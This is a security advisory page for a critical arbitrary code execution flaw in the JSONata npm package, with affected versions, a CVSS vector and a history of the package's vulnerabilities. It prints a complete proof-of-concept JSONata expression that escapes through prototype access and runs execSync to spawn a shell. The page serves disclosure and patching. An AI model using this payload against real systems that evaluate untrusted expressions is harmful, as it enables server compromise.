Critical

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

Disclosed: 21.08.2026
Updated: 11.10.2026 10:22

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to:

overwriting $clone allowing mutation of objects via transforms (see evaluateTransformExpression)
it being possible to destruct jsonata functions/lambdas (e.g. $merge.*)
applyProcedure using proc.arguments.forEach and not Array.prototype.forEach

Which could be chained to execute arbitrary code.

This was fixed with:

Which are included in the 2.2.1 release. Fixes were then back-ported to the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
    $obj := {};
    $clone := function($o) { $o };
    $m := ($merge.*)[1];

    $fn := function($a) {
        (
            $a({"value":"lg"},"__lookupGetter__");
            $a({"value":"x"},"x");
        )
    };

    $nop := function() { $ };

    $capture := function($val) {
        $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} |
    };

    $ ~> | $ | $m([$nop,{"_jsonata_lambda":false}])|;
    $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|;
    $ ~> | $ | {"body":$m([$capture,{"_jsonata_lambda":false}]).body}|;
    $func := $m([$,{"_jsonata_lambda":true}]);
    $func();

    $gP := $obj.lg("__proto__");

    $afn:=$spread($fn);
    $afn{"x":$gP().constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")()};
)
`);

await expression.evaluate({});

References

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	jsonata	>= 2.0.0, < 2.2.1, < 1.8.8	2.2.1, 1.8.8

References

CVSS score -

CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness (CWE): CWE-94
Platform: npm
Package: jsonata
Disclosed: 21.08.2026
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-66mm-25pp-rfff - CC BY 4.0

Vulnerability history: jsonata

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 6
First → latest: 03.2024 08.2026
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

Critical 4
High 1
Medium 1

Disclosures per year

2024: 1
2025: 0
2026: 5

21.08.2026

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions this entry

Critical CVE-2026-77415 >= 2.0.0, < 2.2.1, < 1.8.8 2.2.1, 1.8.8
21.08.2026

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

Critical CVE-2026-77414 >= 2.0.0, < 2.2.1, < 1.8.8 2.2.1, 1.8.8
21.08.2026

JSONata: Arbitrary Code Execution via crafted JSONata expressions

Critical CVE-2026-77413 < 1.8.8, >= 2.0.0, < 2.2.0 1.8.8, 2.2.0
02.07.2026

jsonata: Malicious inputs to "$toMillis" function can cause resource exhaustion

High · 7.5 CVE-2026-52746 >= 2.0.0, < 2.2.0, < 1.8.9 2.2.0, 1.8.9
15.06.2026

jsonata: Function Binding Prototype Pollution via hasOwnProperty Override

Medium · 5.3 CVE-2026-12208 < 1.8.8, >= 2.0.0, < 2.2.1 1.8.8, 2.2.1
04.03.2024

JSONata expression can pollute the "Object" prototype

Critical · 9.8 CVE-2024-27307 >= 1.4.0, < 1.8.7, >= 2.0.0, < 2.0.4 1.8.7, 2.0.4

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

PoC

References

Affected software

References

Vulnerability history: jsonata

Severity breakdown

Disclosures per year

Know which vulnerabilities affect your application

Application security in your inbox